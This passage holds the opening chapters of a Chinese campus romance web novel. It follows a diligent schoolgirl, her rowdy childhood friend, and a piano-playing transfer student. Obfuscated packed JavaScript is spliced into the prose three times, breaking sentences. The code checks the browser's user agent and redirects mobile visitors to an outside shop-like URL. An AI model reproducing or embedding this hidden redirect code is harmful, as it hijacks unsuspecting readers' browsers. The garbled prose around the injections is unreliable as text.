《予我揽明月[校园]》 1. 独发,禁止转载 《予我揽明月[校园]》 文/玖拾意 九月中旬,F市依旧炎热,走在外面如同置身蒸炉。 路边行人少得可怜。 姜祁月上完钢琴课匆匆往家赶,白嫩精致的脸蛋热得通红。 刚进门不久就听见劈里啪啦的摔东西声从隔壁院子传出。 伴随摔东西声一同响起的,还有张淑琴女士异常激动的怒骂。 “小兔崽子!有本事你别跑!胆子真是越来越肥了!居然敢出去跟人约架?!成天打打杀杀像个什么样?但凡你有小乖半点好,我就烧香拜佛感谢你八辈子祖宗!” 回应怒骂的,是少年一声声辩解和懊恼求饶。 “妈!我那明明是见义勇为!怎么能说打打杀杀?!哎哟,砸轻点,疼死了!” “疼死才好!知道疼还敢打架?!” 各种声音混杂在一起,鸡飞狗跳得很。 四周静悄悄的,只能听见蟋蟀叫。 显然,住在附近的人都习惯了,连出来看热闹的心思都没有。 来不及擦额角汗珠,姜祁月放下背包就要往隔壁院子赶。 “小乖,今天怎么这么早就回来了?” 身后传来的温婉询问声让姜祁月停下脚步。 “妈妈。”她下意识回头,迟疑几秒,不知道该怎么解释。 “嗯?”温婉漂亮的女人走出卧室,浅笑盈盈。 听见外面鸡飞狗跳的声音,乔玉韵了然点头:“为了小阳是吧?快去吧,你淑琴阿姨教育了小阳快半小时,再打下去说不定真得打出毛病。” 说完,还故作吃味地嗔怒,开了半句玩笑:“咱们家小乖真是长大了。回来记得跟妈妈说说小阳又做了什么,惹得你淑琴阿姨生了这么久的气。” “好。”姜祁月乖乖点头,自动忽略前半句话,出门往隔壁院子走。 类似的玩笑她从周围人口中不知道听过多少次,最初还会较真解释几句,到现在已经变为淡定忽略。 越靠近隔壁院子,鸡飞狗跳声越大。 站在姜祁月的角度,刚好看见淑琴阿姨追着一道脏兮兮的黑色身影扔东西,一边扔一边拿着鸡毛掸子胡乱拍打,嘴里还骂骂咧咧地骂着什么。 见状,姜祁月没有贸然进院子,站在外面轻轻喊了声:“淑琴阿姨?” 话音刚落,院内如同被按下暂停键,顿时什么声音也没有了。 足足过了十几秒,姜祁月才听见鸡毛掸子落地的动静。 随即,淑琴阿姨笑容满面地走到院子门口,心疼地招呼道:“哎呀,小乖下课了?瞧瞧这一身汗,热坏了吧?快进来吹会儿空调凉快凉快。” 说着就要带姜祁月进门。 姜祁月摇了摇头,轻声细语的拒绝:“淑琴阿姨,我就不进去了。霍鸷阳在吗?我有事情想找他帮忙。” 听到这话,张淑琴翻脸比翻书还快,回头看向躲在桂花树后的人,没好气的骂道:“耳朵出问题了?听不见小乖找你帮忙吗?还躲在树后面干什么?” 此话一出,躲在树后的人总算肯出来,皮笑肉不笑的回了句:“妈,您可真是我亲妈。” “别,您可是一中大哥,我可当不起您亲妈。” 阴阳怪气完便宜儿子,张淑琴转向姜祁月,说话时温柔极了:“人就在这里,有什么事情尽管找他帮忙,阿姨先去打扫一下院子。” “谢谢阿姨。”姜祁月顺手扶了扶眼镜,礼貌性点头,看上去更加乖巧。 “还是小乖懂事,要是霍鸷阳有小乖一半好,我就烧高香了。”看着可爱乖巧的姜祁月,张淑琴心都快化了,依依不舍地离开。 淑琴阿姨离开后,姜祁月才顾得上观察霍鸷阳。 因为刚从桂花树后蹿出来,少年头上还沾着几片叶子,配上脏兮兮的外表更显狼狈,脸侧的擦伤还在往外渗血。 即便到了这种境地,他也依旧在笑。 桀骜不驯的气质和棱角分明的五官让人挪不开眼。 察觉到姜祁月的打探视线,霍鸷阳挑了挑眉,悠闲自在地靠在门口,半点躲闪不及的狼狈模样都看不出来:“一直盯着我看做什么?难不成真被哥给迷住了?” 可惜长了张嘴。 姜祁月收回目光,指了指手中手机,不咸不淡地反问:“不是你给我发的消息吗?我总要看看你是不是真被打残了,好送你去医院,现在看没这个必要了。” 轻飘飘一句话听得霍鸷阳龇牙咧嘴:“不会吧,好歹青梅竹马一起长大,真这么绝情?” 不等姜祁月回答,他熟门熟路的溜到姜祁月身边,嬉皮笑脸的说着:“不管怎么样,都得谢谢小乖回来救我,没让我被打出问题。” 这副样子要是让认霍鸷阳为老大的人看见,绝对会怀疑自己的眼睛和耳朵出了问题。 “没别的事我就回去了。”姜祁月这回看都懒得看他,丢下这句话就准备离开。 再过两天暑假就会结束,即将步入高三。 眼看高考越来越近,她的时间安排得更满,假期除了要上钢琴课外,还有许多试题卷要刷。 今天要不是上课上到一半,突然收到霍鸷阳的紧急求救消息,她绝对不会这么早回家。 和她比起来,霍鸷阳格外轻松自在。 “别呀,辛苦你这次特意赶回家救我,知道你时间金贵,但也要放松放松不是?今天我请你喝奶茶。”霍鸷阳不再嬉皮笑脸,焦急的拦住姜祁月问:“再说了,你就半点不好奇发生什么了吗?” “不好奇。”姜祁月丝毫不客气,干净澄澈的眸子里满是谴责:“肯定是你又打架惹淑琴阿姨生气了。” 张淑琴和乔玉韵是大学同学,在校时关系就非常好,毕业后互相扶持,连结婚买房都选的一个地方,怀孕生孩子时间更是巧得没话说。 不知什么原因,姜祁月和霍鸷阳出生日期一样,性格却天差地别。 如果用家长口中的别人家的孩子来形容姜祁月,霍鸷阳就是被再三叮嘱不能当朋友的坏孩子,不仅成绩稀烂,还特别爱打架。 没有小朋友敢靠近爱打架的霍鸷阳。 姜祁月也没好到什么地方去,哪怕她什么都没做,小朋友们也不喜欢被父母拿来跟自己做比较的别人家的孩子,更有甚者靠欺负姜祁月获得成就感。 殊不知霍鸷阳最爱揍的就是欺负弱小的人。 就这样,姜祁月和霍鸷阳建立了深厚的友谊,互相陪伴着度过童年。 哪怕长大交到新朋友,这段经历也被姜祁月记在心里。她非常重视这段友谊,从小到大不知道救了多少次即将被张淑琴揍的霍鸷阳。 “别人不清楚你还不清楚吗?我揍的人有几个是无辜的?”霍鸷阳快步跟上姜祁月,很是不赞同这个观点,试图替自己讨个说法。 姜祁月根本不吃这套,皱眉撇了他一眼,一针见血地问:“所以呢?这就是你打架的理由?” “哎,天气这么热,就先不说这些了,走走走,带你喝奶茶吃冰淇淋去。”霍鸷阳不敢让这个话题继续下去。 不等姜祁月回答,他就急匆匆回院子推电动车。 事已至此,姜祁月只能站在那里等他出来。 霍鸷阳速度快,没让她等太久,一出来就笑嘻嘻地拍了拍电动车后座,大声招呼道:“快点上来,刚好带你兜圈风。” 姜祁月:“……”神经。 最后,姜祁月还是上了车。 霍鸷阳嗓门实在太大,他不要脸其他人还想要。 此时正值傍晚,太阳被云朵遮住,带走大半热意。 电动车往前行驶时,凉风迎面袭来。 难得的放松让姜祁月舒服地眯起眼睛。 霍鸷阳回头刚好看见这一幕,得意的挑眉问:“我说什么来着,你就是对自己要求太高了,应该多出来玩玩,劳逸结合学习效率才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333742|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提高。” 他就没见过比姜祁月还要卷的人,每天都怕她学着学着就学傻了。 “你倒是玩得舒服,想没想过明天开学要怎么跟老班解释考试分数那么低?”姜祁月没有生气,语气和缓又平静,说的话却字字戳心,“还有,骑车就好好骑车,不要分神,不想要命了?” “想要又有什么用?就算今天不死,明天也得被老班骂死。”一提到明天霍鸷阳就牙酸。 说归说,脑袋还是老实转过去了,认真注视着前方骑车。 奶茶店很近,骑车没几分钟就到了。 霍鸷阳把车停在树荫下,朝姜祁月那边看了眼:“我去买东西,你在这儿等着。” “好。”姜祁月乖乖点头。 见她点头,霍鸷阳才放心走了。 短短几句话时间,引来不少人朝这边看。 这年头不缺长得好看的人,但两个长得好看,反差还这么大的人同时出现,实在少见。 如果用乖巧漂亮和干净来形容姜祁月,霍鸷阳就是另一个极端,眼神凌厉张狂,脸上带血的伤痕让他看起来更不好惹,即便长得帅也没人敢靠近,顶多看一眼就不敢再看。 等霍鸷阳离开,那些人才敢往落单的姜祁月那边看。 胆大的同龄人见霍鸷阳排队的奶茶店门口人多,还过去跟姜祁月搭讪,询问能不能添加一下联系方式。 换成其他人或许不会拒绝,偏偏他们遇到的是姜祁月。 类似的事姜祁月遇过许多次,应付起来不是问题, 她不仅拒绝了,给出的理由还让人心服口服。 “对不起,我没时间加好友聊天,只想好好学习。” 她长得实在太乖了,浅绿色裙子衬得她更干净素雅,说话语气诚恳认真,没有人会反驳她说的话。 就算被拒绝,也没人不高兴,说了几句祝福的话就作罢。 落在霍鸷阳眼里,那就是一群猪围着水灵灵的翡翠白菜转圈。 手里装冰淇淋和奶茶的袋子几乎被捏碎,眼底的烦躁几乎满溢出来,下意识挑起茬。 一个两个的,长得没他高,长得没他帅,甚至战斗力也跟他没得比,怎么好意思找姜祁月搭讪? 揍一顿就都老实了。 但这些霍鸷阳顶多在心里想想,实际什么也不敢做,就算气得头顶冒烟,也等搭讪的人走完了才敢过去。 霍鸷阳拿出买给自己的汽水,将奶茶和冰淇淋全部递给姜祁月。 “谢谢。”姜祁月接过奶茶。 霍鸷阳笑容灿烂,露出一口大白牙,手中汽水捏的更紧:“谢什么,小乖这么受欢迎,应该是我谢小乖给我请客的机会。” 话音刚落,易拉罐汽水拉环被用力打开,发出嘭的一声。 气泡从罐口往外逸。 “谁又惹你了?” 姜祁月刚尝了一口冰淇淋,听见动静后瞥了眼霍鸷阳,不明白他又在发哪门子疯。 小乖这个称呼最先是淑琴阿姨叫的,再后来其他长辈也跟着一起叫,不知道霍鸷阳是不是心里不平衡,每次喊她小乖都是在阴阳怪气或者打趣人。 笑得再怎么灿烂,也掩盖不了那股阴阳怪气的味道。 “没谁,就是突然觉得你忙点也挺好。”霍鸷阳仰头灌下大半瓶汽水,等情绪平复下来才意味深长地说:“毕竟外面花花草草那么多,你现在的任务是好好学习,可千万别被招走了。” 这话说得,不知道的还以为他多爱学习。 姜祁月倒是没有反驳这话,赞同的点头:“现在的任务确实是好好学习,其他的都不重要。” 霍鸷阳定定的看了她好一会儿。 无论怎么看,姜祁月都目光坚定,满脸认真,没有一点开玩笑的意思。 最后,他哦了声,真心实意地说:“那还挺好的。” 至于什么地方好,霍鸷阳一个字都没提,姜祁月也没问。 2. 独发,禁止转载 解决完冰淇淋和奶茶,霍鸷阳说话算话,真带姜祁月去兜了一圈风,直到太阳彻底落下去才回家。 分开前,姜祁月好心提醒了一句:“明天开学老班肯定要开班会,你可别迟到,不然又要被训一顿。” 霍鸷阳正言厉色:“收到!我保证明天绝对不会迟到。” “你心里有数就好。”姜祁月点到为止,转身进了自家院子。 夜间气温下降,没有白天那么热。 树梢被风吹得微微晃动,虫鸣声不绝于耳。 乔玉韵早早守在院门口,等得望眼欲穿,见女儿回来眼睛瞬间变亮,迅速迎了上去:“小乖,快跟妈妈说说下午到底发生了什么,你淑琴阿姨怎么被气成那样?” 询问声从见到姜祁月起就没停过。 平时挺温柔淡然的人,一遇到八卦就跟换了个芯子似的。 姜祁月没有隐瞒,把事情简单说了一遍:“霍鸷阳今天下午报完名路过校门口,发现有人在欺负弱小,冲上去打了一架,事情后面闹得有点大,淑琴阿姨气他处理事情的方式只有打架。” “是该长长记性,这么冲动以后肯定得吃大亏。”听完八卦,乔玉韵又变回温柔似水的模样,浅笑着对女儿说:“饭菜你爸早做好了,快点进来吃,不然就凉了。” “好。”姜祁月应声点头,乖巧温顺的模样看得人心软。 乔玉韵见了心里既是自豪又是担忧。 十七八岁正是叛逆期最严重的时候,很少有孩子像姜祁月一样乖巧懂事,但这并不见得是件好事,她怕女儿把负面情绪全压在心里。 与其这样,她宁可女儿叛逆一点,跟其他同龄人一样自在快乐…… 姜祁月并不知道妈妈脑补了一大堆东西,吃完晚餐后预习了一下明天的内容,到点就洗漱睡觉。 一夜无梦。 次日一早,姜祁月早早来到学校。 旁边属于霍鸷阳的座位空空荡荡,其他位置也一样。 她是第一个来教室的。 姜祁月收回目光没有再看,开始收拾自己的桌椅。 教室一学期没人待,桌椅上有不少灰尘,不擦干净根本坐不了。 擦完桌椅,空荡荡的教室渐渐热闹起来。不少同学都进了班,加入到擦桌椅的队伍中。 姜祁月刚落座,前桌的苏浅灿就朝四周观察了一番,确认没人偷听后才神秘兮兮的凑到她耳边:“哎,月月你听说没,隔壁高中的校草不知道为什么突然转我们学校来了,听说成绩好很好,不知道是不是真的。” “关心这些不如多写几道题。”姜祁月往后靠了靠,专心整理着自己的书本。 没得到想要的回答,苏浅灿顿时急了:“天天写题写题,我真怕你写傻了,那可是校草!你怎么就半点不好奇呢?” 姜祁月从书包拿出一沓理综真题卷,用实际行动表达自己的态度。 苏浅灿还想说些什么,身后冷不丁响起一道懒洋洋的询问声。 “怎么了这是,什么好不好奇的?” “隔壁文科班来了个转学生,听说不仅长得帅成绩还好。这种事居然有人一点都不好奇,你就说气不气人吧?”苏浅灿没有遮掩,光明正大的托腮犯花痴:“嘿嘿,要是能见上一面就好了,我最喜欢看长得好看的人。” 霍鸷阳听了哼笑一声,将书包丢在桌子上:“她当然不好奇,毕竟有我这个大帅哥在。” 说完,还嬉皮笑脸地问姜祁月:“我说的对不对?” “快要上课了,快点擦桌椅。”姜祁月懒得搭理他。 苏浅灿倒是在一旁凉飕飕补刀:“得了吧,你长得好看又怎么样,人家不仅长得好还成绩好,你呢,头脑简单四肢发达。” “胳膊肘往外拐。”霍鸷阳咬牙切齿,憋了半天才憋出这句话。要不是姜祁月和苏浅灿关系好,他早就翻脸了。 那句自夸并不是霍鸷阳普信,单论长相,他绝对是州城一中首屈一指的存在,加之平时高调招摇,整个校内没几个人没听过校霸大名和“光辉事迹”,在州城一中贴吧更是被评选为校草。 可惜稳坐两年的校草位置,因为转校生的到来变得岌岌可危。战斗力强的校霸校草固然新鲜,但绝对比不上成绩好的学霸吸引人。 话题点到为止。 霍鸷阳臭着脸擦完桌椅,上课铃恰好响起。 热闹的教室仿佛被按下静音键,瞬间变得安静无比,只能听见老旧电风扇转动时响起的吱嘎声。 在这种安静下,响起的脚步声格外明显。 每一步都落在人心尖上。 紧张和忐忑在教室内蔓延。 随着成绩表被一双枯瘦大手“啪”地一声重重拍在讲台上,不安情绪达到顶峰。 但该来的还是会来。 “这次考试,咱们班明显倒退许多,许多不该错的题目居然还有人错!你们真是我带过的最难带的一届!” 哪怕人到中年,长得还瘦,班主任声音依旧洪亮如钟,目光如炬。 暂且不提说的内容老生常谈,效果确实不错。 除了一直扭着脖子往旁边看的刺头,所有人都配合地低头反思。 粉笔被重重掰开。 班主任忍无可忍,用力将粉笔头扔了出去:“霍鸷阳,你不怕颈椎出问题我都怕,真想看不如换个方向坐,让你一次性看个够!” 仅此一句,全班哄堂大笑。 被精准命中的霍鸷阳不仅不恼火,反倒心动上了,厚着脸皮问:“老班,你说的是真的吗?” 教室内,众人笑得更大声了。 “你是蒸的我还是煮的!”班主任气极反笑,“我本来都不想说你,你真是给了我一个‘大惊喜’,全校倒数第一!连语文作文都不写!想拿卷面分也不是这么拿的!以后出去别说是我教的,我可不想在教育界晚节不保、名誉扫地!” 不难听出班主任真的很生气,一口气说完一大段话,音量比用了小蜜蜂还大。 姜祁月忍无可忍,用目光示意霍鸷阳适可而止。 “老班别生气,我扭头看那不还是为了沾沾全校第一的喜气?”察觉到身侧目光的霍鸷阳终于老实,说完就老实转回去坐着,坐姿别提多规矩。 “自己不努力,光靠看有什么用?还沾喜气,年纪轻轻的,净搞些封建迷信的东西。” 骂归骂,语气倒是和缓许多:“行了,成绩的事就说到这里,还是得靠你们自己自觉。等会儿下课班长叫个人一起,把物理暑假作业送我办公室去,现在开始上课。” 有了这段小插曲,霍鸷阳整节课都安分守己,生怕真惹姜祁月生气。 可他显然补救晚了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333743|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一直到下课铃响起,姜祁月都没有搭理他的意思,抱起桌上的暑假作业就跟前桌的苏浅灿一起离开。 霍鸷阳意识到事情的严重性,起身想追上去道歉。 偏偏有人看不懂脸色。 几个男生凑过来挤眉弄眼,调侃道:“老大,你一直歪脑袋颈椎还好吗?” “老大不愧是老大,在做题和作弊之间选择了做法。就是不知道全校第一的喜气老大能沾多少。” 面对这些人,霍鸷阳没有一点好脸色,暴躁地啧了一声:“滚滚滚,闲得没事干就去做好人好事,多刷几天厕所。” “嘶,老大你生气也别冲我们撒火哇。” “就是,谁家校霸手下的小弟出去刷厕所,说出去也不嫌跌面子。” 身后的打闹声很大,走到门口都能听见。 姜祁月全当没听见,跟苏浅灿一起抱着作业,继续往办公室方向走。 和她的沉默内敛相比,苏浅灿活泼开朗,一路上嘴巴就没停过,直到进办公室才消停点。 送完作业出来,继续叽叽喳喳地说着话。 姜祁月是个很好的倾听者,静静听着苏浅灿说有关校草的传闻,即使没说几句话,眼底的认真也表示她在认真听,情绪价值拉满。 “月月,你真的不好奇吗?” “听说那个校草还跟你一样钢琴弹得很好,最最最重要的是人家谦逊礼貌,跟其他男生完全不一样,简直是白马王子,挑不出一点瑕疵……” 一句又一句夸奖传入耳中。 一听就知道是把贴吧留言给记下来了。 看着满脸好奇的苏浅灿,姜祁月理性提醒道:“灿灿,你先冷静一下,世界上不存在没有一点瑕疵的人,这些只是道听途说,说不定见面后你就会发现,他没有你想得那么好。” “哎呀,月月你又不是不知道我,我就是喜欢看像你这样长得好看的人,再借我八百个胆子我也不敢真做什么,你就放——” 话音未落,她的声音就猛地顿住,眼珠子瞪得溜圆,兴奋的一把抓住姜祁月胳膊,激动到双手发颤,声音也结结巴巴的。 “月……嘶……月月……快……快……快看!” 过于异常的反应引起姜祁月注意。 她顺着苏浅灿的视线往旁边看。 好巧不巧,她们刚好处在音乐教室斜侧方。 音乐教室很大,摆放着许多乐器。 端坐在钢琴前的人并没有拉上窗户,从姜祁月的角度看,刚好将音乐教室内的场景收入眼底。 阳光洒落进空旷的教室,带来一片暖意。 钢琴前的少年五官清隽,气质温润,哪怕只是穿着最普通校服坐在那里,也让人看得挪不开眼,连太阳都格外偏宠他,给他镀了层耀眼金边。 流畅悦耳的琴音从那双白皙修长的指尖下传出。哪怕不会弹钢琴,也知道他弹得很好。 许是察觉到落在自己身上的目光,他缓缓回眸。 温柔的琉璃色眼眸和姜祁月对视个正着,透着些许疑惑。 他不像会出现在现实的人,更像生活在漫画中的王子。 微风轻轻吹拂起窗帘。 摆放在教室内的盆栽随风摇曳。 姜祁月的心仿佛也被吹乱了,扑通扑通跳得飞快,几乎从胸腔蹦出来。 3. 独发,禁止转载 姜祁月和苏浅灿是踩着上课铃声回教室的,霍鸷阳熬了整整一节课都没找到说话时机。 下课铃一响,他立刻凑到姜祁月身边,厚着脸皮递了颗柠檬糖过去:“给,你最爱吃的糖,别生我气了呗,上上节课我就是想活跃活跃气氛,真不是故意的。” “嗯。”姜祁月垂眸应了一声,目光落在错题本上。 仔细看就会发现她视线涣散,明显在走神。 霍鸷阳头一次见她这样,很是稀罕:“怎么了这是?送完作业回来就魂不守舍的。” 这句话终于让姜祁月回神。 她接过柠檬糖放进桌肚里,摇了摇头,什么也没说。 “不想说也没关系,要是真遇到解决不了的麻烦,记得告诉我。”看着被冷落的糖,霍鸷阳在心里琢磨,估计不是一般的事。 他没有继续追问,半开玩笑半认真的卷袖子保证:“别的不行,帮你镇镇场子还是可以的。” 姜祁月生怕霍鸷阳再惹麻烦,连乱糟糟的心情都顾不上收拾,立刻阻止他:“想什么呢?我不需要人镇场子,你也乱别动歪心思。” “就是,咱可是文化人,谁跟你一样满脑子打来打去的。”苏浅灿回头帮了句腔,随后看都不看霍鸷阳一眼,转身趴在姜祁月桌子上,双眼放光:“月月,我悄悄去学校贴吧打探了下消息,你猜我发现了什么?” 不等姜祁月猜测,苏浅灿就偷偷摸摸压低声音,难掩激动的开口:“小道消息,大家都在说校草打算参加这次的校庆!看样子是打算报钢琴表演!” 听到这个消息,姜祁月晃了晃神,脑海中不知第多少次浮现出在音乐教室外看到的画面。 无论回想多少遍,心脏跳动速度都没有减缓,一直跳得飞快。 不对劲。 太不对劲了。 姜祁月能察觉到自己的状态非常不对劲,更清楚这不是个好预兆。可情感和理智仿佛分了家,根本不受她控制,越是不想想,就越是浮现出相关画面。 苏浅灿没有察觉到姜祁月的异常,还在继续说话。 “这次我们走得实在太快了,连声招呼都没打成,下次找个时间多的时候再去看看,要是能再碰上就好了。” “最好再说上几句话,刚好看看他声音好不好听。” 霍鸷阳越听越觉得不对劲,开口试探:“跟谁打招呼?” 问题是问的苏浅灿,眼睛却直勾勾盯着姜祁月看。 “你管这么多干什么,这是我跟月月的私事,你在旁边掺和个什么劲?”被打断发言的苏浅灿非常不满。 姜祁月沉默许久,在霍鸷阳难以置信的目光下点头:“嗯,她说的对。” 放在平时,她肯定会出面调解两个朋友的矛盾,可现在她满脑子装的都是音乐教室外看见的场景,根本没办法分神去管其他事,只想让霍鸷阳快点安生下来。 至于霍鸷阳被气走时心里在想什么,同样不在她的思考范围内。 霍鸷阳一走,苏浅灿说话更没顾虑,几乎是想到什么就说什么,甚至在打探到校草的近期动向后,拉着姜祁月午休一起去音乐教室偷看。 姜祁月脸皮薄,从小到大都循规蹈矩。午休偷看人这种事,对她来说可真是太刺激了。 但她心里多少有点动摇,加上苏浅灿惯会软磨硬泡人,还是半推半就答应了苏浅灿。不过午休出教室前,姜祁月特意询问其他学科课代表要不要帮忙,得偿所愿带着一大沓作业离开。 苏浅灿见她紧紧抱着作业本的样子,疑惑的歪了歪脑袋:“月月,你这是送作业送上瘾了?这么宝贝这些作业?” “助人为乐,刚好音乐教室离办公室近。”姜祁月垂眸说话时声音又轻又缓,听得人非常舒心。 说完这句话,她将怀里的作业本抱得更紧,不知道的还以为她在抱什么秘密法宝。 但凡苏浅灿再细心点看,都能注意到姜祁月耳尖红得几乎滴血。 偏偏苏浅灿满脑子都是偷看校草,旁边还跟着个被拉来的乖乖宝好学生,双重刺激让她顾不上那么多小细节,顶多在心里感慨好学生就是不一样,不仅学习好还乐于助人。要知道办公室离教学楼不算近,如果不是为了偷看校草,她都懒得大热天跑到一栋楼的另一边。 借着送作业的名义,姜祁月路过音乐教室时底气都足了不少。 可惜人算不如天算,学校贴吧的信息不是百分百精准,音乐教室内空无一人。 送完作业回来,两人热出一身汗。 “算了算了,不折腾了,等到校庆再看也不迟,辛苦月月陪我多跑这一圈。”苏浅灿瘫在座位上吹风扇,看校草的热血早已褪去。 见她这副狼狈样,姜祁月眸中满是笑意:“不辛苦,本来就要去送作业。” 在班里守了一中午的霍鸷阳脸色臭的要命,闻言冷哼一声,半点面子都不留:“亏你昧着良心说出这种话。” 一中午的时间,足够霍鸷阳弄清苏浅灿带着姜祁月在神秘兮兮些什么,本来心里就不爽,见姜祁月这么护着苏浅灿,更是气不打一处来。 不等姜祁月说话,霍鸷阳就阴阳怪气道:“室外温度四十度,别人恨不得不出去,你倒是替人送作业当上好人了。” 阴阳怪气完又狠不下心,臭着脸从桌子里拿出一杯冰镇绿豆汤:“何杰去小卖部刚多拿了一杯,我不爱吃甜的。” 何杰就是早上凑过来起哄的小弟之一,这杯绿豆汤是特意买来送给霍鸷阳降温赔罪的。当然,这些事霍鸷阳一句都没往外说,不知道在心里跟谁较劲。 “谢谢。”姜祁月眼角微弯,接过那杯冰镇绿豆汤,水光潋滟的眸底倒映着霍鸷阳的身影。 霍鸷阳别过头,没好气地回了句:“真谢我大热天的就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333744|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去乱跑,中暑了乔姨得难受死。” 好学生难得被管,管她的人还是出了名的混不吝。要不是教室就三个人在,铁定引来一堆人驻足观看。 “好。”姜祁月知道他嘴硬心软,乖乖点头应声,随后往玻璃杯倒了一半绿豆汤,将另一半推回去,说出霍鸷阳从小说到大的经典语录:“有福同享有难同当。” “算你有良心。”霍鸷阳总算露出笑来,一边喝绿豆汤一边问:“对了,校庆结束后要办篮球友谊联赛,你要是有空要不要过去看看?” 姜祁月不答反问:“你上场吗?” “那是当然。”说到这里,霍鸷阳眉梢微扬,肆意张狂:“没我还比什么。” 倒不是霍鸷阳说大话,而是他有这么说的底气。 从小霍鸷阳就很有体育天赋,就算跟体育生比也从没输过。 刚入学那会儿,艺体班老师甚至劝霍鸷阳转班,奈何他脾气犟,怎么劝都不管用,一直稳如老狗的待在理科班。不过这并不耽误他受邀参加相关活动,更不影响他得到“常胜将军”的称呼,让体育班那些人心服口服。 “真不考虑转班?”姜祁月顺口问了一句。 比起纯文纯理,霍鸷阳更适合走艺体类高考,凭他的体育天赋加上文化课,绝对能考上非常不错的大学。 霍鸷阳点了点玻璃杯,摆出哥哥的架子:“多喝点绿豆汤,小小年纪别乱操心。” 姜祁月懒得说他,趴在桌面上抱着玻璃杯降温,不知不觉中竟然睡过去了,忘记回答霍鸷阳之前问的问题。 霍鸷阳还惦记着中午那件事,就算知道姜祁月是被朋友拉去的,心里也怪不是滋味儿,更在意姜祁月答不答应去看篮球联赛,倒是一直帮她记着。 可惜下午和晚自习一直在连堂考试,找不到说话机会。 晚自习一结束,霍鸷阳立刻凑到姜祁月面前,问出快憋了一整天的问题。 “你考试就在想这些?”姜祁月没想到他还在纠结这个,轻飘飘扫他一眼:“不是说有福同享有难同当吗?你比赛我什么时候没去过?” 意识到自己今天想太多了,霍鸷阳一拍脑袋,笑得比花儿还灿烂:“这倒也是。” 没人能比得上他跟小乖这么多年青梅竹马的感情,不去看他比赛难不成去看其他人? 想到这里,霍鸷阳心情更好,重新恢复自信。 此时的他全然不知,自己的某些猜测不仅不是多想,还准确无误地预言出未来。 晚风吹过,带来一片清凉。 霍鸷阳哼着歌坐上电动车,一边说话一边载着姜祁月回家。 憋了这么久,想说的话太多,霍鸷阳特意放慢车速。要不是姜祁月阻止,他还想绕个远路。 挥手分别各回各家时,霍鸷阳更是意犹未尽,可惜时间太短,不够他继续灌输凑热闹不是好事的观点。 4.独发,禁止转载 步入高三后,各科作业比之前要多许多,时不时再来一场随堂测试,忙起来连上厕所的时间都没。 作业也从最开始的送去办公室,变成老师下课后顺便带走。 一周下来,姜祁月过得非常充实,根本顾不上去想其他事,只有晚自习结束回家才能稍微放松一些。 这种情况下,再一回想起那天音乐教室门口看见的场景,竟是激不起任何情绪波动,仿佛之前的异常都是一场梦。 晚风吹拂,窗帘猎猎作响。 月光撒落进室内,镀上一层温柔银边。 姜祁月合上单词手册,关掉小台灯躺进被窝里,翻来覆去睡不着觉。 自从那天中午送完作业回来,苏浅灿再也没提过什么看校草,每天都在唉声叹气怎么又有那么多作业要做。 不出意外的话,她不会再跟那个人见面。虽然心里有些怅然若失,但理智告诉姜祁月这是最好的结果。 此时的她显然忘了,有句话叫做“无心插柳柳成荫”。 几天后的大课间,班主任把姜祁月叫到办公室,询问她愿不愿意跟温绥晏一起组队表演。 熟悉又陌生的名字让姜祁月微愣,眼底带着些茫然,下意识重复了一遍:“温绥晏?” “没错,就是他。” 班主任端起办公桌上的水杯,喝了口枸杞水后叹了口气:“原本跟他搭档的女同学腱鞘炎复发,医嘱说得好好养着,短时间内练不了钢琴,他们班班主任不知道从哪儿听见你钢琴弹得也不错,让我问问你愿不愿意。” 姜祁月心底疑虑更重。 学校会弹钢琴的人很多,为什么偏偏找她? 像是看出她的疑惑,班主任干咳一声盖好杯盖,难得有些难为情:“前段时间教师聚餐多聊了几句,就都知道咱们班有个全方位发展的优秀学生。会弹钢琴的人多,但温绥晏那长相……情况稍微有点特殊,他们班的班主任说除了你以外,找不到更让人放心的学生救场。” 具体的班主任没有多说,但猜也能猜个大概。 聚餐时几杯酒下肚,班主任情绪激昂,得意洋洋地把得意门生拿出来大夸特夸,引来一堆同事羡慕,直说他运气好,得了这么个让人省心的好学生。 说者无意,听者有心。 这不,一遇到需要救场的棘手麻烦,立刻有人来委托他帮忙询问姜祁月愿不愿意帮忙,给出的理由还让人无法拒绝。 温绥晏报上去的是男女双人钢琴表演,现在搭档出事无法继续排练,救场的新搭档顶上去后,将有半个月时间跟温绥晏磨合。这半个月时间,有几个处在青春期的小姑娘能顶得住? 姜祁月就不同了。 不用老师监督,她自己就能斩断全部桃花,一门心思只有学习。 全校谁都有早恋的可能,就她最不可能有,别提多让人省心。 话都说到这个份上,班主任想拒绝都拒绝不了,只能硬着头皮答应帮忙问问。但也仅此而已,更多地咬死都不肯松口,还是很拎得清的。 